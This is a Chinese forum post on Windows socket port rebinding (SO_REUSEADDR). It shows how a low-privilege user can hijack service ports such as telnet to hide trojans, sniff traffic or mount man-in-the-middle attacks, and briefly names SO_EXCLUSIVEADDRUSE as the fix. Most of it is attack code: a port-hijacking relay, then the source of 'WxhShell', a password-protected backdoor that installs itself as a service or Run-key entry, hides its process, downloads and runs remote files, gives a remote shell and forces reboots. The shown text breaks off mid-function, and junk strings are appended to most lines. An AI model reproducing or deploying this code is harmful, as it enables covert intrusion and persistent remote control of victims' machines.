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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q)Ppx7)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Yq2 mVo  
XKR?vr7A2  
  saddr.sin_family = AF_INET; ;APg!5X  
}K&K{ 9}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6*]Kow?  
Qp-nr]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~ xXB !K~C  
>j$f$*x  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s2d;601*b  
DVCc^5#  
  这意味着什么?意味着可以进行如下的攻击: "+7~C6[s  
&[kwM3 95  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qkR.{?x  
GLk7# Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) t(ZiQ<A  
}~A-ELe:  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y`\/eX  
xXHz)w  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {N _v4})  
}uZh oA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SmtH2%yI  
q Rtgk  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w|RG  
[#)$BXG~y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N"2@y aN  
lffw7T~  
  #include FiIN \  
  #include (zTr/  
  #include u}u2{pO!  
  #include    u2!8'-Ai  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qOk4qbl[  
  int main() 2{&|%1Jg  
  { IG#=}q  
  WORD wVersionRequested; E=7" };  
  DWORD ret; pX!S*(Q{  
  WSADATA wsaData; <'s1+^LC  
  BOOL val; q4U?}=PD  
  SOCKADDR_IN saddr; X|8Y z3:o  
  SOCKADDR_IN scaddr; Kj'm<]u  
  int err; Rfgc^3:j  
  SOCKET s; Gz6FwU8L  
  SOCKET sc; B4J^ rzK  
  int caddsize; )iEK7d^-  
  HANDLE mt; .4?M.Z4[  
  DWORD tid;   we{*%8I;  
  wVersionRequested = MAKEWORD( 2, 2 ); +z9;BPw %  
  err = WSAStartup( wVersionRequested, &wsaData ); <H#D/?n5  
  if ( err != 0 ) { 'g ,Oi1|~  
  printf("error!WSAStartup failed!\n"); /'ybl^Km  
  return -1; (*hA0&n  
  } Jk(b=j  
  saddr.sin_family = AF_INET; FUHa"$Bg  
   jMd's|#OP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v&uIxFCR  
JRl8S   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ayC*n'  
  saddr.sin_port = htons(23); v[HxO?x^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .8wR;^  
  { A #ZaXu/:X  
  printf("error!socket failed!\n"); "\> <UJ  
  return -1; a{]1H4+bQ  
  } hBN!!a|l  
  val = TRUE; FJ#V"|}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _|~2i1 Ms,  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DhB: 8/J  
  { E9 q8tE}  
  printf("error!setsockopt failed!\n"); 2Ie50U  
  return -1; ~1}NQa(  
  } vwP516EM  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6 rmK_Y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d eTUfbd'  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 qjTz]'^BpM  
Pyk~V)~M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ku`'w;5jT  
  { ~~k IA"U  
  ret=GetLastError(); r:YAn^Lg  
  printf("error!bind failed!\n"); >.M `Fz.  
  return -1; YBg\L$| n  
  } ^hZwm8G  
  listen(s,2); ty/jTo}  
  while(1) \r<&7x#j  
  { ] niWRl  
  caddsize = sizeof(scaddr); {V:?r  
  //接受连接请求 qr6WSBc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s{A-K5S  
  if(sc!=INVALID_SOCKET) A$|> Jt  
  { Npq=jlj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MA"iM+Ar  
  if(mt==NULL) ]>:%:-d6  
  { s31^9a  
  printf("Thread Creat Failed!\n"); @dcW0WQ\  
  break; qf7.Sh  
  } C'mmo&Pd  
  } V ;>{-p  
  CloseHandle(mt); LscAsq<H<  
  } tT'd]  
  closesocket(s); `&0?e-  
  WSACleanup(); kv)LH{  
  return 0; S,Oy}Nv  
  }   )5]z[sE  
  DWORD WINAPI ClientThread(LPVOID lpParam) @Z.Ne:*J  
  { iiRK3m  
  SOCKET ss = (SOCKET)lpParam; Fbk<qQH  
  SOCKET sc; [i&z_e)  
  unsigned char buf[4096]; 9E (>mN  
  SOCKADDR_IN saddr; AV%Q5Mi}  
  long num; !nykq}kPN\  
  DWORD val; Gt-  -7S  
  DWORD ret; 4 (Y5n?/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]kKf4SJZFU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +Cau/sPXL  
  saddr.sin_family = AF_INET; 0&EX -DbV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =U@*adgw  
  saddr.sin_port = htons(23); U7:~@eYy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y@hdN=-  
  { }rGDM  
  printf("error!socket failed!\n"); ]`u{^f  
  return -1; FeCQGT  
  } K$(U>D|  
  val = 100; vtr:{   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) vqL{~tR  
  { sW=@G'}3  
  ret = GetLastError(); uomFE(  
  return -1; '^P Ud`  
  } s$Roe(J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >A1Yn]k  
  { L.|GC7$0  
  ret = GetLastError(); D Zh6/n#q  
  return -1; x<= ;=893  
  } 9:BGA/?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7<NX;Fx  
  { A"9aEOX-?i  
  printf("error!socket connect failed!\n"); Ppx*  
  closesocket(sc); ~2"|4  
  closesocket(ss); 3b PVKsY  
  return -1; JgK?j&!hs:  
  } {5_*f)$[H  
  while(1) rj{'X  /  
  { wmoOp;C  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \HH|{   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]Q,RVEtKp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cHR}`U$  
  num = recv(ss,buf,4096,0); blp)a  
  if(num>0) ` D4J9;|;]  
  send(sc,buf,num,0); m"v` E7G  
  else if(num==0) Jg%sl& 65  
  break; =`/X Wem  
  num = recv(sc,buf,4096,0); eyo)Su  
  if(num>0) "@ox=  
  send(ss,buf,num,0); uCUBs(iD  
  else if(num==0) _$Fi]l!f  
  break; %X.Q\T  
  } }1$8)zH  
  closesocket(ss); 1B WuFYB  
  closesocket(sc); +{#BQbx6  
  return 0 ; Q'\jm=k  
  } Rx'7tff%I  
O050Q5zy  
[s7I.rdGzz  
========================================================== K1eoZ8=!  
^_<pc|1  
下边附上一个代码,,WXhSHELL />n0&~k[h  
3K#e]zoI  
========================================================== M{(Y|3W  
|\}f)Xp-  
#include "stdafx.h" ob*2V! "  
~" $9auQtC  
#include <stdio.h> ,fYO>l';`f  
#include <string.h> bz>#}P=58G  
#include <windows.h> 2_Pe/  
#include <winsock2.h> -<<!eH  
#include <winsvc.h> i!Ne<Q  
#include <urlmon.h> \SMH",u  
t@4vEKw?.X  
#pragma comment (lib, "Ws2_32.lib") o/&:w z  
#pragma comment (lib, "urlmon.lib") r[\47cG  
50'6l X(v,  
#define MAX_USER   100 // 最大客户端连接数 -R\}Q"  
#define BUF_SOCK   200 // sock buffer ?2G^6>O `  
#define KEY_BUFF   255 // 输入 buffer  ! $d:k|b  
0,/[r/=jT  
#define REBOOT     0   // 重启 {'X"9@  
#define SHUTDOWN   1   // 关机 b,K1EEJ  
As>po +T*  
#define DEF_PORT   5000 // 监听端口 Dxu )by  
*}2o \h6Q  
#define REG_LEN     16   // 注册表键长度 K:9.fTCs*  
#define SVC_LEN     80   // NT服务名长度 2.:b   
f<zh-Gq  
// 从dll定义API IjrTM{f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); w{UU(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (m,O!935f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A"P1 B]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d3 N %V.w  
5aWKyXBIx  
// wxhshell配置信息 rAQ^:q  
struct WSCFG { $~9U-B\  
  int ws_port;         // 监听端口 ( NiuAy  
  char ws_passstr[REG_LEN]; // 口令 U O[p   
  int ws_autoins;       // 安装标记, 1=yes 0=no 1-JWqV(#?  
  char ws_regname[REG_LEN]; // 注册表键名 `[ne<F?e  
  char ws_svcname[REG_LEN]; // 服务名 [S9nF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UbuxD})  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wicg8[T=B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PB9<jj;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WK<pZ *x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @yek6E&9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GvVuFS>y  
YE-kdzff  
}; Dk7"#q@kx  
mV'd9(s?  
// default Wxhshell configuration km3-Hp1  
struct WSCFG wscfg={DEF_PORT, xbmOch}j6  
    "xuhuanlingzhe", VSSiuo'5w  
    1, %R_8`4IQ  
    "Wxhshell", =|G PSRQ  
    "Wxhshell", nDPfr\\  
            "WxhShell Service", M.l;!U!}  
    "Wrsky Windows CmdShell Service", Ao]F_hZ  
    "Please Input Your Password: ", 3Y r   
  1, e~}+.B0  
  "http://www.wrsky.com/wxhshell.exe", ^7_<rs   
  "Wxhshell.exe" 'i@Y #F%D  
    }; 7*4F-5G/  
p<J/J.E  
// 消息定义模块 m\k$L7O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !-7(.i-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y[$e]N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?pVODnP k  
char *msg_ws_ext="\n\rExit."; D/giM#"  
char *msg_ws_end="\n\rQuit."; 8>epKFEg  
char *msg_ws_boot="\n\rReboot..."; nH_A`m3%/  
char *msg_ws_poff="\n\rShutdown..."; *qR tk  
char *msg_ws_down="\n\rSave to "; mqE&phF,  
f j"S|]e  
char *msg_ws_err="\n\rErr!"; V8N<%/ A=  
char *msg_ws_ok="\n\rOK!"; ] #J ]f  
ao,LP,_  
char ExeFile[MAX_PATH]; W:tE ?Hu  
int nUser = 0; g"#+U7O  
HANDLE handles[MAX_USER]; h.8J6;36  
int OsIsNt; G[wa,j^hu  
3 Zbvf^  
SERVICE_STATUS       serviceStatus; ]IoS-)$Z/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; sB"]R%`_  
Fs=nAn#  
// 函数声明 IYj-cm  
int Install(void); [` i;gx[^  
int Uninstall(void); I)sCWC:Mq~  
int DownloadFile(char *sURL, SOCKET wsh); ]V9\4#I4  
int Boot(int flag); wv*r}{%7g[  
void HideProc(void); F4:ssy^  
int GetOsVer(void); gmM79^CEF  
int Wxhshell(SOCKET wsl); +XIN-8  
void TalkWithClient(void *cs); `@:^(sMo  
int CmdShell(SOCKET sock); 4+uAd"  
int StartFromService(void); ?^6RFbke+  
int StartWxhshell(LPSTR lpCmdLine); 9EH%[wfv  
\"uR&D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T0Gu(c`1d  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  k&rl%P  
}2{%V^D)r  
// 数据结构和表定义 , R]7{7$  
SERVICE_TABLE_ENTRY DispatchTable[] = UV:_5"-  
{ RLIugz{IH  
{wscfg.ws_svcname, NTServiceMain}, d:j$!@o  
{NULL, NULL} O!|:ZMjF  
}; XBDlQe|>  
O c" 2|X  
// 自我安装 9x:c"S*  
int Install(void) $w65/  
{ 3 =S.-  
  char svExeFile[MAX_PATH]; f:=?"MX7  
  HKEY key; $A-b-`X  
  strcpy(svExeFile,ExeFile); mH8"k+k  
=?/J.[)<*  
// 如果是win9x系统,修改注册表设为自启动 \?}ZXKuJj  
if(!OsIsNt) { 0{jRXa-(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !e%#Zb MIo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kdv>QZ  
  RegCloseKey(key); 2R)Y}*VX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { le1'r>E$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s^E%Uk m  
  RegCloseKey(key); ANWa%%\T  
  return 0; Z3Vi il:  
    } z:acrQwJ?1  
  } )! OEa]  
} 6 .*=1P*?  
else { ty "k  
g~`UC  
// 如果是NT以上系统,安装为系统服务 ^6obxwVG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0t<TZa]V  
if (schSCManager!=0) x2 tx{Z  
{ V-)q&cbW]q  
  SC_HANDLE schService = CreateService iHR?]]RF  
  ( WSh+5](:  
  schSCManager, \=nY&Ml  
  wscfg.ws_svcname, ]xFd_OHdb  
  wscfg.ws_svcdisp, ./[t'dgC  
  SERVICE_ALL_ACCESS, 4|*_mC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A}W&=m8!  
  SERVICE_AUTO_START, ,(]hykbXp  
  SERVICE_ERROR_NORMAL, F*(<`V  
  svExeFile, m'a3}vRV(  
  NULL, o^lKM?t  
  NULL, [P"#?7 N  
  NULL, p>!`JU`{?  
  NULL, (m@({  
  NULL F_@PSA+  
  ); *)"`v]  
  if (schService!=0) eH75: `  
  { ^[5yff 4  
  CloseServiceHandle(schService); l0]zZcpt  
  CloseServiceHandle(schSCManager); 3F<My+J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8+lM6O ~!  
  strcat(svExeFile,wscfg.ws_svcname); rq+E"Uj?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )x8Izn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tEZ@v(D  
  RegCloseKey(key); A5 /Q:8b  
  return 0; $+ lc;N  
    } &;*jMu6  
  } eB5; wH  
  CloseServiceHandle(schSCManager); k;q|pQ[  
} Xul<,U~w6  
} zQ5'q  
U Tw\_s  
return 1; ~6E `6;`  
} ~-|K5  
BgUf:PT  
// 自我卸载 )ASI 41  
int Uninstall(void) Gi?"  
{ t13wQ t  
  HKEY key; ax,%07hJ  
U^:+J-z{  
if(!OsIsNt) { CH!Lf,G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DzH1q r  
  RegDeleteValue(key,wscfg.ws_regname); b,~6cDU  
  RegCloseKey(key); = gOq >`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c]#F^(-A`  
  RegDeleteValue(key,wscfg.ws_regname); ub7|'+5  
  RegCloseKey(key); T =_Hd  
  return 0; 1iig0l6\m  
  } #r>  
} j l%27Ld  
} a%V6RyT4qW  
else { t4~Bn<=  
P^T]Ubv"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &n91f  
if (schSCManager!=0) c|IH|y  
{ Z!v)zH\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NRgNh5/  
  if (schService!=0) Xw_AZ-|1D  
  { k0Rd:DxO  
  if(DeleteService(schService)!=0) { R~PD[.\u  
  CloseServiceHandle(schService); yC(xi"!  
  CloseServiceHandle(schSCManager); Y{6y.F*Q#  
  return 0; aF]4%E  
  } #J# x,BLI  
  CloseServiceHandle(schService); /X9Kg  
  } #px74EeI\  
  CloseServiceHandle(schSCManager); y)CnH4{  
} Hj2E-RwG  
} s<h]2W  
:I[nA?d[&  
return 1; STtjkZ6  
} :bNqK0[rS  
$!H;,Jxv  
// 从指定url下载文件 .}=gr+<bf  
int DownloadFile(char *sURL, SOCKET wsh) s\@RJ[(<  
{ Mj2`p#5wKh  
  HRESULT hr; lhZXq!2p  
char seps[]= "/"; >;:235'(M  
char *token; GHaD32  
char *file; XOe)tz L  
char myURL[MAX_PATH]; (_Ph{IN  
char myFILE[MAX_PATH]; !?#B*JGFS  
CD]"Q1 t}  
strcpy(myURL,sURL); U9[QdC  
  token=strtok(myURL,seps); Na=.LW-ma=  
  while(token!=NULL) vz[oy|{F  
  { :2ILN.&  
    file=token; @Fvp~]jCb  
  token=strtok(NULL,seps); .!/w[Z]  
  } CC"}aV5  
9kZ[Z ,=>  
GetCurrentDirectory(MAX_PATH,myFILE); ?d&l_Pa0e  
strcat(myFILE, "\\"); <$metN~9j  
strcat(myFILE, file); Y=6569U2  
  send(wsh,myFILE,strlen(myFILE),0); `#Z=cq^_  
send(wsh,"...",3,0); 9EHhVi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6&xpS9  
  if(hr==S_OK) z0!k  
return 0; b\^X1eo  
else = hL;Q@inb  
return 1; ~XU%_Hz  
J[ ;g \  
} &6deds  
a=@]Ov/  
// 系统电源模块 PuO5@SP~  
int Boot(int flag) r9sq3z|%  
{ V7DMn@Ckw  
  HANDLE hToken; uC$!|I  
  TOKEN_PRIVILEGES tkp; /;E{(%U)t  
EC;R^)  
  if(OsIsNt) { ZP-^10  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >L4q>S^v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5y^I~"_ i  
    tkp.PrivilegeCount = 1; $y{rM%6JU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =^ZDP1h/}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q 8| C>$n  
if(flag==REBOOT) { 9 696EQ,I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fj"1TtPq#  
  return 0; HD%n'@E  
} }IJE%  
else { C}jFR] x)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l/xpAx  
  return 0; :#nfdvqm  
} r_>]yp  
  } 9 t8NK{  
  else { uSQlE=  
if(flag==REBOOT) { -qyhg-k6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G'#Uzwo  
  return 0; ]Xm+-{5?!R  
} p ; ]Qxh  
else { >uLWfk+y1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pf% yEz  
  return 0; /qaWUUf  
} a=_:`S]}  
} CWdpF>En  
w 3kX!%a:  
return 1; Dbl3ef  
} 7H])2:)  
u!CcTE*  
// win9x进程隐藏模块 GD-L0kw5  
void HideProc(void) 9z#z9|hj)3  
{ DMdVE P"m  
h~`^H9?M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kY?w] lS)t  
  if ( hKernel != NULL ) W*;r}!ro  
  { 4++ &P9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mswAao<y&x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7?@ -|{  
    FreeLibrary(hKernel); QtHK`f>4#n  
  } [zJ|61^  
joA>-k04  
return; lJvfgP-j  
} ^#gJf*'UE  
_s18^7  
// 获取操作系统版本 `(uN_zvH  
int GetOsVer(void) 8hV>Q  
{ xp*Wf#BF  
  OSVERSIONINFO winfo; O>y*u8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xk] uXx:TN  
  GetVersionEx(&winfo); !&adO,jN+=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V7<w9MM  
  return 1; +v+Dkyf:V  
  else y$8S+N?>  
  return 0; 2WUl8?f2Y  
} oM^VtH=>  
>PYc57S1c  
// 客户端句柄模块 l@:&0id4I  
int Wxhshell(SOCKET wsl) j4wsDtmAU  
{ RF[Uy?es  
  SOCKET wsh; s5\<D7  
  struct sockaddr_in client; I ]ZksC  
  DWORD myID; r XT6u  
:z-?L0C=0  
  while(nUser<MAX_USER) fl8eNi E|  
{ .4J7 ^l  
  int nSize=sizeof(client); 9fy[%M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7Y.mp9,  
  if(wsh==INVALID_SOCKET) return 1; &q>C  
3!op'X!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8;d./!|'&g  
if(handles[nUser]==0) bjBXs;zr@\  
  closesocket(wsh); 7q&T2?GEN  
else )i"52!  
  nUser++; Nd He::  
  } s|][p|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LEg ?/!LIT  
kq*IC&y  
  return 0; ~^/BAc  
} ;TKsAU  
&})Zqc3Lqk  
// 关闭 socket Gs/G_E(T  
void CloseIt(SOCKET wsh) u p zBd]  
{ V]Kk =  
closesocket(wsh); q*!Vyk  
nUser--; *7{{z%5Pu  
ExitThread(0); A;TNR  
} [:/mjO K  
ky{@*fg.  
// 客户端请求句柄 qzWnl[3  
void TalkWithClient(void *cs) +^q- v-  
{ 'soll[J  
_D{{C  
  SOCKET wsh=(SOCKET)cs; z(#CO<C.t  
  char pwd[SVC_LEN]; _xM}*_<VP  
  char cmd[KEY_BUFF]; Lh-+i  
char chr[1]; h ^Wm03w  
int i,j; s( :N>K5*  
PKZMuEEy,  
  while (nUser < MAX_USER) { * $|9e  
jA3xDbM  
if(wscfg.ws_passstr) { v2ab84 C*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Vy_%f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lvG+9e3+  
  //ZeroMemory(pwd,KEY_BUFF); To;r#h  
      i=0; 8w ]'U  
  while(i<SVC_LEN) { 2]5ux!Lqln  
G%dzJpC(  
  // 设置超时 Z*Fn2I4  
  fd_set FdRead; # ';b>J  
  struct timeval TimeOut; MFz6y":~  
  FD_ZERO(&FdRead);  Cy5M0{  
  FD_SET(wsh,&FdRead); *iUR1V Y  
  TimeOut.tv_sec=8; ?s]?2>p  
  TimeOut.tv_usec=0; ;y;UgwAM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M1eM^m8U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $VeQvm*  
L;U?s2&Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &S[>*+}{+  
  pwd=chr[0]; z J V>;  
  if(chr[0]==0xd || chr[0]==0xa) { +;a\ gF^  
  pwd=0; c^~R %Bx  
  break; lT8^BT  
  } l M a||  
  i++; |~+bbN|b  
    } ahR-^^'$  
p[%B#(]9,  
  // 如果是非法用户,关闭 socket wc;^C?PX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]YUst]gu3  
} in>?kbaG+  
#U6~U6@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,o\~d ?4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B7n1'?  
-l <[CI  
while(1) { ]eI|_O^u  
ej[Y `N  
  ZeroMemory(cmd,KEY_BUFF); # "TL*p  
W3xObt3w\  
      // 自动支持客户端 telnet标准   Qv@)WJ="-0  
  j=0; {'o\#4 Wk  
  while(j<KEY_BUFF) { 3JZ9 G79H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H,)2Ou-Wn  
  cmd[j]=chr[0]; J6J; !~>_  
  if(chr[0]==0xa || chr[0]==0xd) { mSp;(oQ  
  cmd[j]=0; "9,+m$nj  
  break; =BBq K=W.d  
  } ,Z(J;~  
  j++; 4x$Ts %]  
    } 6~Y`<#X5J  
0T:ZWRjH  
  // 下载文件 vl5r~F  
  if(strstr(cmd,"http://")) { ]U.YbWe^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %)L|7v<  
  if(DownloadFile(cmd,wsh)) F"a31`L>H  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mk +BeK  
  else '.zr:l  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !%'c$U2  
  } 2w:cdAv$  
  else { _'P!>C!  
I z)~h>-F  
    switch(cmd[0]) { Cce{aY  
  74a>}+"  
  // 帮助 \)BDl  
  case '?': { /pz(s+4=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #po}Y  
    break; 0GnbE2&  
  } 6}q# c  
  // 安装 $1myf Z  
  case 'i': { I< Rai"  
    if(Install()) bdr !|WZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rY(^6[!  
    else +WSM<S2 U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #}zL?s^G  
    break; ?N@p~ *x  
    } lHSu T2)x;  
  // 卸载 H_7X%TvXb  
  case 'r': { S.NLxb/  
    if(Uninstall()) `L {dF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Sv03="&  
    else }'Yk#Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N,u~ZEI  
    break; }@jT-t]P  
    } z_en .  
  // 显示 wxhshell 所在路径 J/^|Y6  
  case 'p': { 3,{tGNl|  
    char svExeFile[MAX_PATH]; /yL:_6c-  
    strcpy(svExeFile,"\n\r"); \:91BQP c  
      strcat(svExeFile,ExeFile); ] 73BJ  
        send(wsh,svExeFile,strlen(svExeFile),0); \B D'"  
    break; qGKQrb,K  
    } =j!Ruy1  
  // 重启 .{LJ  
  case 'b': { I)F3sS45}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #zc{N"!  
    if(Boot(REBOOT)) %-~T;_.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ){XG%nC  
    else { $,B@yiie  
    closesocket(wsh); UZqk2D  
    ExitThread(0); oS_<;Fj  
    } .+hM1OF`x  
    break; k{j (Gb2sp  
    } D3-H!TFpDb  
  // 关机 4) ~ GHb  
  case 'd': { j%OnLTZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lBnG!!VrWa  
    if(Boot(SHUTDOWN)) ^DS+O>  
